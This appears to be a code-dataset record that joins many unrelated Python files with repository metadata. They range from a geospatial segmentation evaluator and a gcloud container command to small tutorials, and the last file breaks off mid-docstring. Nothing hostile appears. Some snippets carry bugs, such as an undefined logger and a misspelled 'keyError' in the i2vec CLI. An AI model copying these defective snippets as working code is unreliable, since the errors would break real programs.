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rastervision_core/rastervision/core/evaluation/semantic_segmentation_evaluator.py
azavea/keras-image-segmentation
0
164765
from typing import TYPE_CHECKING, Iterable, Iterator import logging from shapely.geometry import shape, mapping from shapely.strtree import STRtree from rastervision.core.data import ActivateMixin, RasterizedSource from rastervision.core.data.vector_source import GeoJSONVectorSourceConfig from rastervision.core.evaluation import (ClassificationEvaluator, SemanticSegmentationEvaluation) log = logging.getLogger(__name__) if TYPE_CHECKING: from rastervision.core.data import (Scene, ClassConfig, SemanticSegmentationLabelSource, SemanticSegmentationLabelStore) def filter_geojson_by_aoi(geojson: dict, aoi_polygons: list) -> dict: # Note that this ignores class_id but that's ok because each prediction GeoJSON file # covers a single class_id. But, this may change in the future. tree = STRtree([shape(f['geometry']) for f in geojson['features']]) filtered_shapes = [] for aoi_poly in aoi_polygons: shapes_in_aoi = tree.query(aoi_poly) for s in shapes_in_aoi: s_int = s.intersection(aoi_poly) filtered_shapes.append(s_int) features = [{ 'type': 'feature', 'geometry': mapping(s) } for s in filtered_shapes] return {'type': 'FeatureCollection', 'features': features} class SemanticSegmentationEvaluator(ClassificationEvaluator): """Evaluates predictions for a set of scenes. """ def __init__(self, class_config: 'ClassConfig', output_uri: str, vector_output_uri: str): super().__init__(class_config, output_uri) self.vector_output_uri = vector_output_uri def create_evaluation(self) -> SemanticSegmentationEvaluation: return SemanticSegmentationEvaluation(self.class_config) def process(self, scenes: Iterable['Scene'], tmp_dir: str) -> None: evaluation_global = self.create_evaluation() vect_evaluation_global = self.create_evaluation() null_class_id = self.class_config.get_null_class_id() for scene in scenes: log.info(f'Computing evaluation for scene {scene.id}...') label_source: 'SemanticSegmentationLabelSource' = ( scene.ground_truth_label_source) label_store: 'SemanticSegmentationLabelStore' = ( scene.prediction_label_store) with ActivateMixin.compose(label_source, label_store): # ----------- # raster eval # ----------- ground_truth = label_source.get_labels() predictions = label_store.get_labels() if scene.aoi_polygons: # Filter labels based on AOI. ground_truth = ground_truth.filter_by_aoi( scene.aoi_polygons, null_class_id) predictions = predictions.filter_by_aoi( scene.aoi_polygons, null_class_id) evaluation_scene = self.create_evaluation() evaluation_scene.compute(ground_truth, predictions) evaluation_global.merge(evaluation_scene, scene_id=scene.id) # ----------- # vector eval # ----------- has_vector_gt = isinstance(label_source.raster_source, RasterizedSource) has_vector_preds = label_store.vector_outputs is not None if not (has_vector_gt and has_vector_preds): continue gt_geojson = ( label_source.raster_source.vector_source.get_geojson()) if scene.aoi_polygons: gt_geojson = filter_geojson_by_aoi(gt_geojson, scene.aoi_polygons) pred_geojsons = get_class_vector_preds(scene, label_store, self.class_config) vect_evaluation_scene = self.create_evaluation() vect_evaluation_scene.compute_vector( gt_geojson, pred_geojsons, label_store.vector_outputs) vect_evaluation_global.merge( vect_evaluation_scene, scene_id=scene.id) if not evaluation_global.is_empty(): evaluation_global.save(self.output_uri) if not vect_evaluation_global.is_empty(): vect_evaluation_global.save(self.vector_output_uri) def get_class_vector_preds(scene: 'Scene', label_store: 'SemanticSegmentationLabelStore', class_config: 'ClassConfig') -> Iterator[dict]: """Returns a generator that yields pred geojsons from label_store.vector_outputs.""" class_ids = [vo.class_id for vo in label_store.vector_outputs] if len(set(class_ids)) < len(class_ids): raise ValueError('SemanticSegmentationEvaluator expects there to be ' 'only one VectorOutputConfig per class.') for vo in label_store.vector_outputs: pred_geojson_uri = vo.uri class_id = vo.class_id pred_geojson_source_cfg = GeoJSONVectorSourceConfig( uri=pred_geojson_uri, default_class_id=class_id) pred_geojson_source = pred_geojson_source_cfg.build( class_config, scene.raster_source.get_crs_transformer()) pred_geojson: dict = pred_geojson_source.get_geojson() if scene.aoi_polygons: pred_geojson = filter_geojson_by_aoi(pred_geojson, scene.aoi_polygons) yield pred_geojson
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tableio/python/types.py
hschwane/offline_production
1
113024
<reponame>hschwane/offline_production # -*- coding: utf-8 -*- # # copyright (C) 2010 # The Icecube Collaboration # # $Id: types.py 107762 2013-07-01 22:55:31Z nwhitehorn $ # # @version $Revision: 107762 $ # @date $LastChangedDate: 2013-07-01 18:55:31 -0400 (Mon, 01 Jul 2013) $ # @author <NAME> <<EMAIL>> $LastChangedBy: nwhitehorn $ # from icecube.tableio import I3Datatype dt = I3Datatype.TypeClass def make_dtype(kind, size, signed): dtype = I3Datatype() dtype.kind = kind dtype.size = size dtype.is_signed = signed return dtype Int8 = make_dtype(dt.Int,1,True) Int16 = make_dtype(dt.Int,2,True) Int32 = make_dtype(dt.Int,4,True) Int64 = make_dtype(dt.Int,8,True) UInt8 = make_dtype(dt.Int,1,False) UInt16 = make_dtype(dt.Int,2,False) UInt32 = make_dtype(dt.Int,4,False) UInt64 = make_dtype(dt.Int,8,False) Float32 = make_dtype(dt.Float,4,True) Float64 = make_dtype(dt.Float,8,True) Bool = make_dtype(dt.Bool,1,False) # make a pretty-printer for I3Datatype def pretty_dtype(self): return "I3Datatype(kind=%s, size=%s, signed=%s)" % (self.kind,self.size,self.is_signed) I3Datatype.__repr__ = pretty_dtype del I3Datatype,dt,make_dtype,pretty_dtype import sys if sys.version_info[0] >= 3: from icecube.tableio.enum3 import enum as Enum else: from icecube.tableio.enum2 import enum as Enum
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i2vec_cli/__main__.py
rachmadaniHaryono/i2vec_cli
0
9883
#!/usr/bin/env python3 """get tag from http://demo.illustration2vec.net/.""" # note: # - error 'ERROR: Request Entity Too Large' for file 1.1 mb # <span style="color:red;">ERROR: Request Entity Too Large</span> from collections import OrderedDict from pathlib import Path from pprint import pformat import imghdr import logging import os import shutil import time import urllib import hashlib import click import requests import structlog import peewee from PIL import Image from i2vec_cli import models from i2vec_cli.requests_session import Session, convert_raw_to_hydrus from i2vec_cli.sha256 import sha256_checksum from i2vec_cli.utils import user_data_dir, thumb_folder def is_url(path): """Return True if path is url, False otherwise.""" scheme = urllib.parse.urlparse(path).scheme if scheme in ('http', 'https'): return True return False def is_ext_equal(file_ext, imghdr_ext): """compare file extension with result from imghdr_ext.""" if not imghdr_ext: return False if file_ext.lower() == '.{}'.format(imghdr_ext): return True if file_ext.lower() in ('.jpg', '.jpeg') and imghdr_ext == 'jpeg': return True return False def download(url, no_clobber): """download url. Args: url: URL to be downloaded. no_clobber: Skip download if file already exist. Returns: Downloaded filename or existing file if `no_clobber` is `True` """ log = structlog.getLogger() basename = os.path.basename(url) if os.path.isfile(basename) and no_clobber: return basename response = requests.get(url, stream=True) with open(basename, 'wb') as out_file: shutil.copyfileobj(response.raw, out_file) name, ext = os.path.splitext(basename) imghdr_ext = imghdr.what(basename) ext_equal = is_ext_equal(file_ext=ext, imghdr_ext=imghdr_ext) if not imghdr_ext: log.debug("imghdr can't recognize file", file=basename) return basename else: new_basename = '{}.{}'.format(name, imghdr_ext) new_basename_exist = os.path.isfile(new_basename) if ext_equal: log.debug('Extension is equal', file_ext=ext, imghdr_ext=imghdr_ext) return basename elif not ext_equal: if new_basename_exist and not no_clobber: log.debug('Replace existing file', old=basename, new=new_basename) shutil.move(basename, new_basename) elif not new_basename_exist: log.debug('Rename file ext', file=basename, new_ext=imghdr_ext) shutil.move(basename, new_basename) else: log.debug('Not replace/rename file', no_clobber=no_clobber, new_basename=new_basename) return new_basename else: log.debug( 'Unknown condition', file=basename, ext_equal=ext_equal, new_basename_exist=new_basename_exist, imghdr_ext=imghdr_ext ) # just return base name if any error happen return basename def validate_close_delay(ctx, param, value): """validate close delay.""" try: value = int(value) except Exception as e: raise click.BadParameter( 'Error when validate close delay: value={}, error={}'.format(value, e)) if value >= -1: return value else: raise click.BadParameter('Close delay have to be bigger or equal than -1') def delay_close(close_delay): """delay when closing the program.""" log = structlog.getLogger() if close_delay == -1: click.pause() elif close_delay == 0: log.debug('No close delay') elif close_delay > 0: time.sleep(close_delay) else: log.error('Invalid close delay', v=close_delay) def md5_checksum(fname): hash_md5 = hashlib.md5() with open(fname, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5.update(chunk) return hash_md5.hexdigest() def create_thumbnail(path, thumb_path): """create thumbnail.""" size = 320, 320 try: im = Image.open(path) im.thumbnail(size) im.save(thumb_path, "JPEG") except IOError: raise IOError("cannot create thumbnail for", path) def get_print_result(path, db_path, format, session): """get print result.""" # compatibility p = path sha256 = sha256_checksum(p) md5 = md5_checksum(p) thumb_path = os.path.join(user_data_dir, 'thumb', '{}.jpg'.format(sha256)) try: load_res = models.load_result(db=db_path, sha256=sha256, md5=md5) except models.Image.DoesNotExist: load_res = None if load_res: tags = {'prediction': load_res} else: tags = session.get_tags(path=p) try: models.save_result( db=db_path, sha256=sha256, md5=md5, prediction=tags['prediction']) except peewee.IntegrityError as e: log.debug(str(e)) except keyError as e: log.debug(str(tags)) if not os.path.isfile(thumb_path): create_thumbnail(p, thumb_path) if format == 'dict': return tags if format == 'hydrus': return convert_raw_to_hydrus(tags) else: return pformat(tags['prediction']) @click.command() @click.option('--format', type=click.Choice(['raw', 'hydrus']), default='raw') @click.option('-d', '--debug', is_flag=True, help="Enable debug.") @click.option('-nc', '--no-clobber', is_flag=True, help="Skip download url when file exist.") @click.option( '--close-delay', default=0, help="Close delay of the program.", callback=validate_close_delay) @click.option( '--driver', default=None, help="Driver for browser (deprecated).", type=click.Choice(['firefox', 'phantomjs', 'chrome', 'zope.testbrowser', 'django'])) @click.option('--dump-html', is_flag=True, help="Dump html table for debugging (deprecated).") @click.argument('path', nargs=-1) def main(format, path, debug, no_clobber, close_delay, driver=None, dump_html=False): """get tag from illustration2vec.""" if debug: logging.basicConfig(level=logging.DEBUG) else: logging.basicConfig(level=logging.INFO) structlog.configure_once(logger_factory=structlog.stdlib.LoggerFactory()) log = structlog.getLogger() if not path: raise ValueError('PATH required.') # init folder os.makedirs(user_data_dir, exist_ok=True) os.makedirs(thumb_folder, exist_ok=True) # database db_path = os.path.join(user_data_dir, 'main.db') if not os.path.isfile(db_path): Path(db_path).touch() models.database.init(db_path) try: models.init_all_tables() except peewee.OperationalError: log.debug('Table already created') session = Session(driver=driver) try: for p in path: if os.path.isfile(p): print('path:{}'.format(os.path.basename(p))) elif is_url(p): print('url:{}'.format(p)) p = download(p, no_clobber=no_clobber) else: log.error('Unknown path format or path is not exist', path=p) continue result = get_print_result( path=p, db_path=db_path, format=format, session=session) print(result) finally: delay_close(close_delay) if hasattr(session, 'browser'): session.browser.quit() if __name__ == '__main__': main()
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galloper/data_utils/file_utils.py
kostiantyn-yarovyi/galloper
1
116283
<reponame>kostiantyn-yarovyi/galloper<filename>galloper/data_utils/file_utils.py from requests import get import os from flask import current_app from uuid import uuid4 class File: def __init__(self, url): self.url = url self.filename = url.split("/")[-1] self.path = "" def read(self): if not self.path: self.path = os.path.join(current_app.config["UPLOAD_FOLDER"], str(uuid4())) r = get(self.url, allow_redirects=True) with open(self.path, 'wb') as f: f.write(r.content) return r.content def seek(self, offset, whence=0): with open(self.path, 'rb') as f: return f.seek(offset, whence) def tell(self): with open(self.path, 'rb') as f: f.seek(0, 2) return f.tell() def remove(self): os.remove(self.path)
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pyfacebook/utils/reformat_response.py
Socian-Ltd/python-facebook-1
0
31396
<filename>pyfacebook/utils/reformat_response.py import json from typing import Optional, Union, Dict def replace_from_keyword_in_json( data, # type: Optional[Dict] ): # type: (...) -> Dict """ Rename the 'from' field coming from the Graph API. As 'from' is a Python keyword, we cannot use this as an attribute with 'attrs' package. So renaming the 'from' field to 'object_creator' """ json_str = json.dumps(data) replaced_json_str = json_str.replace('"from":', '"object_creator":') replaced_json_obj = json.loads(replaced_json_str) return replaced_json_obj
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grow/translators/google_translator_toolkit_test.py
denmojo/pygrow
0
98424
<reponame>denmojo/pygrow from . import google_translator_toolkit from grow.common import oauth from grow.pods import pods from grow.pods import storage from grow.testing import testing from nose.plugins import skip import time import unittest class GoogleTranslatorToolkitTestCase(testing.TestCase): def setUp(self): dir_path = testing.create_test_pod_dir() self.pod = pods.Pod(dir_path, storage=storage.FileStorage) super(GoogleTranslatorToolkitTestCase, self).setUp() def test_insert_document(self): catalog = self.pod.catalogs.get('de') content = catalog.content mimetype = 'text/x-gettext-translation' source_lang = 'en' lang = str(catalog.locale) name = 'Test Display Name' credentials, _ = oauth.get_credentials_and_storage( scope=google_translator_toolkit.OAUTH_SCOPE, storage_key=google_translator_toolkit.STORAGE_KEY) if not credentials: text = ('Skipping Google Translator Toolkit test' ' because we don\'t have auth keys. Run' ' `grow upload_translations` or `grow download_translations`' ' to acquire auth keys and re-run the test.') raise skip.SkipTest(text) gtt = google_translator_toolkit.Gtt() insert_resp = gtt.insert_document( name=name, content=content, source_lang=source_lang, lang=lang, mimetype=mimetype) document_id = insert_resp['id'] time.sleep(2) # Wait for the document to be ready in GTT. download_resp = gtt.download_document(document_id) if __name__ == '__main__': unittest.main()
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masq/cms/api/player.py
tehdiplomat/hidden-role-games
0
113338
from rest_framework import generics from rest_framework import permissions from cms.models.Player import Player, PlayerSerializer class PlayerList(generics.ListCreateAPIView): queryset = Player.objects.all() serializer_class = PlayerSerializer class PlayerDetail(generics.RetrieveUpdateDestroyAPIView): queryset = Player.objects.all() serializer_class = PlayerSerializer
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ink2canvas/svg/Use.py
greipfrut/pdftohtml5canvas
4
1711
from ink2canvas.svg.AbstractShape import AbstractShape class Use(AbstractShape): def drawClone(self): drawables = self.rootTree.getDrawable() OriginName = self.getCloneId() OriginObject = self.rootTree.searchElementById(OriginName,drawables) OriginObject.runDraw() def draw(self, isClip=False): if self.hasTransform(): transMatrix = self.getTransform() self.canvasContext.transform(*transMatrix) self.drawClone() def getCloneId(self): return self.attr("href","xlink")[1:]
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google-cloud-sdk/lib/surface/compute/instances/create_from_container.py
bopopescu/searchparty
0
112779
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Command for creating VM instances running Docker images.""" from googlecloudsdk.api_lib.compute import base_classes from googlecloudsdk.api_lib.compute import containers_utils from googlecloudsdk.api_lib.compute import instance_utils from googlecloudsdk.api_lib.compute import metadata_utils from googlecloudsdk.api_lib.compute import utils from googlecloudsdk.api_lib.compute import zone_utils from googlecloudsdk.calliope import base from googlecloudsdk.calliope import exceptions from googlecloudsdk.command_lib.compute import flags from googlecloudsdk.command_lib.compute.instances import flags as instances_flags from googlecloudsdk.command_lib.util import labels_util @base.ReleaseTracks(base.ReleaseTrack.ALPHA) class CreateFromContainer(base.CreateCommand): """Command for creating VM instances running Docker images.""" @staticmethod def Args(parser): """Register parser args.""" parser.display_info.AddFormat(instances_flags.DEFAULT_LIST_FORMAT) metadata_utils.AddMetadataArgs(parser) instances_flags.AddDiskArgs(parser, True) instances_flags.AddCreateDiskArgs(parser) instances_flags.AddLocalSsdArgsWithSize(parser) instances_flags.AddCanIpForwardArgs(parser) instances_flags.AddAddressArgs(parser, instances=True) instances_flags.AddMachineTypeArgs(parser) instances_flags.AddMaintenancePolicyArgs(parser) instances_flags.AddNoRestartOnFailureArgs(parser) instances_flags.AddPreemptibleVmArgs(parser) instances_flags.AddServiceAccountAndScopeArgs(parser, False) instances_flags.AddTagsArgs(parser) instances_flags.AddCustomMachineTypeArgs(parser) instances_flags.AddNetworkArgs(parser) instances_flags.AddPrivateNetworkIpArgs(parser) instances_flags.AddDockerArgs(parser) instances_flags.AddPublicDnsArgs(parser, instance=True) instances_flags.AddNetworkTierArgs(parser, instance=True) instances_flags.AddMinCpuPlatformArgs(parser, base.ReleaseTrack.ALPHA) labels_util.AddCreateLabelsFlags(parser) parser.add_argument( '--description', help='Specifies a textual description of the instances.') instances_flags.INSTANCES_ARG.AddArgument(parser, operation_type='create') CreateFromContainer.SOURCE_INSTANCE_TEMPLATE = ( instances_flags.MakeSourceInstanceTemplateArg()) CreateFromContainer.SOURCE_INSTANCE_TEMPLATE.AddArgument(parser) def GetSourceInstanceTemplate(self, args, resources): if not args.IsSpecified('source_instance_template'): return None ref = self.SOURCE_INSTANCE_TEMPLATE.ResolveAsResource(args, resources) return ref.SelfLink() def Run(self, args): holder = base_classes.ComputeApiHolder(self.ReleaseTrack()) client = holder.client source_instance_template = self.GetSourceInstanceTemplate( args, holder.resources) # gcloud creates default values for some fields in Instance resource # when no value was specified on command line. # When --source-instance-template was specified, defaults are taken from # Instance Template and gcloud flags are used to override them - by default # fields should not be initialized. skip_defaults = source_instance_template is not None instances_flags.ValidateDockerArgs(args) instances_flags.ValidateDiskCommonFlags(args) instances_flags.ValidateLocalSsdFlags(args) instances_flags.ValidateServiceAccountAndScopeArgs(args) if instance_utils.UseExistingBootDisk(args.disk or []): raise exceptions.InvalidArgumentException( '--disk', 'Boot disk specified for containerized VM.') if (skip_defaults and not args.IsSpecified('maintenance_policy') and not args.IsSpecified('preemptible') and not args.IsSpecified('restart_on_failure')): scheduling = None else: scheduling = instance_utils.CreateSchedulingMessage( messages=client.messages, maintenance_policy=args.maintenance_policy, preemptible=args.preemptible, restart_on_failure=args.restart_on_failure) if args.no_service_account: service_account = None else: service_account = args.service_account if (skip_defaults and not args.IsSpecified('scopes') and not args.IsSpecified('no_scopes') and not args.IsSpecified('service_account') and not args.IsSpecified('no_service_account')): service_accounts = [] else: service_accounts = instance_utils.CreateServiceAccountMessages( messages=client.messages, scopes=[] if args.no_scopes else args.scopes, service_account=service_account) user_metadata = metadata_utils.ConstructMetadataMessage( client.messages, metadata=args.metadata, metadata_from_file=args.metadata_from_file) containers_utils.ValidateUserMetadata(user_metadata) boot_disk_size_gb = utils.BytesToGb(args.boot_disk_size) utils.WarnIfDiskSizeIsTooSmall(boot_disk_size_gb, args.boot_disk_type) instance_refs = instances_flags.INSTANCES_ARG.ResolveAsResource( args, holder.resources, scope_lister=flags.GetDefaultScopeLister(client)) # Check if the zone is deprecated or has maintenance coming. zone_resource_fetcher = zone_utils.ZoneResourceFetcher(client) zone_resource_fetcher.WarnForZonalCreation(instance_refs) instances_flags.ValidatePublicDnsFlags(args) if (skip_defaults and not args.IsSpecified('network') and not args.IsSpecified('subnet') and not args.IsSpecified('private_network_ip') and not args.IsSpecified('no_address') and not args.IsSpecified('address') and not args.IsSpecified('network_tier') and not args.IsSpecified('no_public_dns') and not args.IsSpecified('public_dns') and not args.IsSpecified('no_public_ptr') and not args.IsSpecified('public_ptr') and not args.IsSpecified('no_public_ptr_domain') and not args.IsSpecified('public_ptr_domain')): network_interfaces = [] else: network_interfaces = [instance_utils.CreateNetworkInterfaceMessage( resources=holder.resources, compute_client=client, network=args.network, subnet=args.subnet, private_network_ip=args.private_network_ip, no_address=args.no_address, address=args.address, instance_refs=instance_refs, network_tier=args.network_tier, no_public_dns=getattr(args, 'no_public_dns', None), public_dns=getattr(args, 'public_dns', None), no_public_ptr=getattr(args, 'no_public_ptr', None), public_ptr=getattr(args, 'public_ptr', None), no_public_ptr_domain=getattr(args, 'no_public_ptr_domain', None), public_ptr_domain=getattr(args, 'public_ptr_domain', None))] if (skip_defaults and not args.IsSpecified('machine_type') and not args.IsSpecified('custom_cpu') and not args.IsSpecified('custom_memory')): machine_type_uris = [None for _ in instance_refs] else: machine_type_uris = instance_utils.CreateMachineTypeUris( resources=holder.resources, compute_client=client, machine_type=args.machine_type, custom_cpu=args.custom_cpu, custom_memory=args.custom_memory, ext=getattr(args, 'custom_extensions', None), instance_refs=instance_refs) image_uri = containers_utils.ExpandCosImageFlag(client) args_labels = getattr(args, 'labels', None) labels = None if args_labels: labels = client.messages.Instance.LabelsValue( additionalProperties=[ client.messages.Instance.LabelsValue.AdditionalProperty( key=key, value=value) for key, value in sorted(args.labels.iteritems())]) if skip_defaults and not args.IsSpecified('can_ip_forward'): can_ip_forward = None else: can_ip_forward = args.can_ip_forward requests = [] for instance_ref, machine_type_uri in zip(instance_refs, machine_type_uris): metadata = containers_utils.CreateMetadataMessage( client.messages, args.run_as_privileged, args.container_manifest, args.docker_image, args.port_mappings, args.run_command, user_metadata, instance_ref.Name()) request = client.messages.ComputeInstancesInsertRequest( instance=client.messages.Instance( canIpForward=can_ip_forward, disks=(self._CreateDiskMessages(holder, args, boot_disk_size_gb, image_uri, instance_ref, skip_defaults)), description=args.description, machineType=machine_type_uri, metadata=metadata, minCpuPlatform=args.min_cpu_platform, name=instance_ref.Name(), networkInterfaces=network_interfaces, serviceAccounts=service_accounts, scheduling=scheduling, tags=containers_utils.CreateTagsMessage(client.messages, args.tags)), project=instance_ref.project, zone=instance_ref.zone) if labels: request.instance.labels = labels if source_instance_template: request.sourceInstanceTemplate = source_instance_template requests.append((client.apitools_client.instances, 'Insert', request)) return client.MakeRequests(requests) def _CreateDiskMessages(self, holder, args, boot_disk_size_gb, image_uri, instance_ref, skip_defaults): """Creates API messages with disks attached to VM instance.""" if (skip_defaults and not args.IsSpecified('disk') and not args.IsSpecified('create_disk') and not args.IsSpecified('local_ssd') and not args.IsSpecified('boot_disk_type') and not args.IsSpecified('boot_disk_device_name') and not args.IsSpecified('boot_disk_auto_delete')): return [] else: persistent_disks, _ = ( instance_utils.CreatePersistentAttachedDiskMessages( holder.resources, holder.client, None, args.disk or [], instance_ref)) persistent_create_disks = ( instance_utils.CreatePersistentCreateDiskMessages( holder.client, holder.resources, None, getattr(args, 'create_disk', []), instance_ref)) local_ssds = [] for x in args.local_ssd or []: local_ssd = instance_utils.CreateLocalSsdMessage( holder.resources, holder.client.messages, x.get('device-name'), x.get('interface'), x.get('size'), instance_ref.zone, instance_ref.project) local_ssds.append(local_ssd) boot_disk = instance_utils.CreateDefaultBootAttachedDiskMessage( holder.client, holder.resources, disk_type=args.boot_disk_type, disk_device_name=args.boot_disk_device_name, disk_auto_delete=args.boot_disk_auto_delete, disk_size_gb=boot_disk_size_gb, require_csek_key_create=None, image_uri=image_uri, instance_ref=instance_ref, csek_keys=None) return ( [boot_disk] + persistent_disks + persistent_create_disks + local_ssds) CreateFromContainer.detailed_help = { 'brief': """\ Command for creating Google Compute engine virtual machine instances running Docker images. """, 'DESCRIPTION': """\ *{command}* facilitates the creation of Google Compute Engine virtual machines that runs a Docker image. For example, running: $ {command} instance-1 --zone us-central1-a --docker-image=gcr.io/google-containers/busybox will create an instance called instance-1, in the us-central1-a zone, running the 'busybox' image. For more examples, refer to the *EXAMPLES* section below. """, 'EXAMPLES': """\ To run the gcr.io/google-containers/busybox image on an instance named 'instance-1' that exposes port 80, run: $ {command} instance-1 --docker-image=gcr.io/google-containers/busybox --port-mappings=80:80:TCP To run the gcr.io/google-containers/busybox image on an instance named 'instance-1' that executes 'echo "Hello world"' as a run command, run: $ {command} instance-1 --docker-image=gcr.io/google-containers/busybox --run-command='echo "Hello world"' To run the gcr.io/google-containers/busybox image in privileged mode, run: $ {command} instance-1 --docker-image=gcr.io/google-containers/busybox --run-as-privileged """ }
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lists.py
Irene-Michellee/Python_DS-Algorithms
0
1613306
# Accesing elements in a list list_a = ['phy','chem',1998,2000]; list_b = [1,2,3,4,5,6,7,8,9]; print("list_a[2] is:",list_a[2]); print(list_b[2:7]); #updating lists print("updation"); print(list_a[1]); list_a[1] = "math"; list_b.append("hello"); #append to add an element to the list print(list_a); print(list_b); #Deleting lists print("Deletion"); print(list_a[0]); del list_a[0]; print(list_a); list_b.remove(4); print(list_b); #length print(len(list_a)); #concatenation print(list_a + list_b); #repetition print(["hi!"]*4); #iteration list_c = ["aa",00,"bb",10]; for x in list_c: print(x);
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weather/views.py
fjavierm/weather-app
0
197790
<reponame>fjavierm/weather-app import json import urllib.request from django.shortcuts import render API_KEY = '' # TODO Add the API key # Create your views here. def home(request): if request.method == 'POST': city = request.POST['city'] source = urllib.request.urlopen( 'http://api.weatherapi.com/v1/current.json?key=' + API_KEY + '&q=' + city).read() response = json.loads(source) print(response) data = { 'name': str(response['location']['name']), 'coordinates': { 'longitude': str(response['location']['lon']), 'latitude': str(response['location']['lat']), }, 'pressure': str(response['current']['pressure_mb']), 'humidity': str(response['current']['humidity']), 'wind': str(response['current']['wind_kph']), 'temp_f': str(response['current']['temp_f']), 'text': str(response['current']['condition']['text']), 'local_time': str(response['location']['localtime']), } else: data = {} return render(request, 'weather.html', data)
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spiderlib/db/run.py
AmerJod/common
0
53690
<filename>spiderlib/db/run.py from spiderlib.db.database import Database # For testing purposes POSTGRES_CONN = { "POSTGRES_URL": "localhost:54320", "POSTGRES_USER": "postgres", "POSTGRES_PW": "<PASSWORD>", "POSTGRES_DB": "postgres" } if __name__ == '__main__': db = Database(**POSTGRES_CONN) print(POSTGRES_CONN) db._recreate_database()
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cvat/apps/iam/schema.py
ACHultman/cvat
4,197
35635
<reponame>ACHultman/cvat # Copyright (C) 2022 Intel Corporation # # SPDX-License-Identifier: MIT from drf_spectacular.extensions import OpenApiFilterExtension, OpenApiAuthenticationExtension from drf_spectacular.plumbing import build_parameter_type from drf_spectacular.utils import OpenApiParameter # https://drf-spectacular.readthedocs.io/en/latest/customization.html?highlight=OpenApiFilterExtension#step-5-extensions class OrganizationFilterExtension(OpenApiFilterExtension): """Describe OrganizationFilterBackend filter""" target_class = 'cvat.apps.iam.filters.OrganizationFilterBackend' priority = 1 def get_schema_operation_parameters(self, auto_schema, *args, **kwargs): """Describe query parameters""" return [ build_parameter_type( name=self.target.organization_slug, required=False, location=OpenApiParameter.QUERY, description=self.target.organization_slug_description, schema={'type': 'string'}, ), build_parameter_type( name=self.target.organization_id, required=False, location=OpenApiParameter.QUERY, description=self.target.organization_id_description, schema={'type': 'string'}, ) ] class SignatureAuthenticationScheme(OpenApiAuthenticationExtension): target_class = 'cvat.apps.iam.authentication.SignatureAuthentication' name = 'SignatureAuthentication' # name used in the schema def get_security_definition(self, auto_schema): return { 'type': 'apiKey', 'in': 'query', 'name': 'sign', }
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embench-iot/pylib/embench_core.py
Hecmay/llvm-pass-skeleton
2
45750
<gh_stars>1-10 #!/usr/bin/env python3 # Common python procedures for use across Embench. # Copyright (C) 2017, 2019 Embecosm Limited # # Contributor: <NAME> <<EMAIL>> # Contributor: <NAME> <<EMAIL>> # # This file is part of Embench. # SPDX-License-Identifier: GPL-3.0-or-later """ Embench common procedures. This version is suitable when using a version of GDB which can launch a GDB server to use as a target. """ import logging import math import os import re import sys import time # What we export __all__ = [ 'check_python_version', 'log', 'gp', 'setup_logging', 'log_args', 'log_benchmarks', 'embench_stats', ] # Handle for the logger log = logging.getLogger() # All the global parameters gp = dict() # Make sure we have new enough python def check_python_version(major, minor): """Check the python version is at least {major}.{minor}.""" if ((sys.version_info[0] < major) or ((sys.version_info[0] == major) and (sys.version_info[1] < minor))): log.error(f'ERROR: Requires Python {major}.{minor} or later') sys.exit(1) def create_logdir(logdir): """Create the log directory, which can be relative to the root directory or absolute""" if not os.path.isabs(logdir): logdir = os.path.join(gp['rootdir'], logdir) if not os.path.isdir(logdir): try: os.makedirs(logdir) except PermissionError: raise PermissionError(f'Unable to create log directory {logdir}') if not os.access(logdir, os.W_OK): raise PermissionError(f'Unable to write to log directory {logdir}') return logdir def setup_logging(logdir, prefix): """Set up logging in the directory specified by "logdir". The log file name is the "prefix" argument followed by a timestamp. Debug messages only go to file, everything else also goes to the console.""" # Create the log directory first if necessary. logdir_abs = create_logdir(logdir) logfile = os.path.join( logdir_abs, time.strftime(f'{prefix}-%Y-%m-%d-%H%M%S.log') ) # Set up logging log.setLevel(logging.DEBUG) cons_h = logging.StreamHandler(sys.stdout) cons_h.setLevel(logging.INFO) log.addHandler(cons_h) file_h = logging.FileHandler(logfile) file_h.setLevel(logging.DEBUG) log.addHandler(file_h) # Log where the log file is log.debug(f'Log file: {logfile}\n') log.debug('') def log_args(args): """Record all the argument values""" log.debug('Supplied arguments') log.debug('==================') for arg in vars(args): realarg = re.sub('_', '-', arg) val = getattr(args, arg) log.debug(f'--{realarg:20}: {val}') log.debug('') def find_benchmarks(): """Enumerate all the benchmarks in alphabetical order. The benchmarks are found in the 'src' subdirectory of the root directory. Set up global parameters for the source and build benchmark directories. Return the list of benchmarks.""" gp['benchdir'] = os.path.join(gp['rootdir'], 'src') gp['bd_benchdir'] = os.path.join(gp['bd'], 'src') dirlist = os.listdir(gp['benchdir']) benchmarks = [] for bench in dirlist: abs_b = os.path.join(gp['benchdir'], bench) if os.path.isdir(abs_b): benchmarks.append(bench) benchmarks.sort() return benchmarks def log_benchmarks(benchmarks): """Record all the benchmarks in the log""" log.debug('Benchmarks') log.debug('==========') for bench in benchmarks: log.debug(bench) log.debug('') def compute_geomean(benchmarks, raw_data, rel_data): """Compute the geometric mean and count the number of data points for the supplied benchmarks, raw and optionally relative data. Return a list of geometric mean and count of data, with a.""" geomean = 1.0 count = 0.0 for bench in benchmarks: if gp['absolute']: # Want absolute results. Ignore zero values if bench in raw_data: if raw_data[bench] > 0: count += 1 geomean *= raw_data[bench] else: # Want relative results (the default). Ignore zero value if bench in rel_data: if rel_data[bench] > 0: count += 1 geomean *= rel_data[bench] if count > 0.0: geomean = pow(geomean, 1.0 / count) return geomean, count def compute_geosd(benchmarks, raw_data, rel_data, geomean, count): """Compute geometric standard deviation for the given set of benchmarks, using the supplied raw and optinally relative data. This draws on the previously computed geometric mean and count for each benchmark. Return geometric standard deviation.""" lnsize = 0.0 geosd = 0.0 for bench in benchmarks: if gp['absolute']: # Want absolute results if raw_data[bench] > 0.0: lnsize += math.pow(math.log(raw_data[bench] / geomean), 2) else: # Want relative results (the default). if rel_data[bench] > 0.0: lnsize += math.pow(math.log(rel_data[bench] / geomean), 2) # Compute the standard deviation using the lnsize data for each benchmark. if count > 0.0: geosd = math.exp(math.sqrt(lnsize / count)) return geosd def compute_georange(geomean, geosd, count): """Compute the geometric 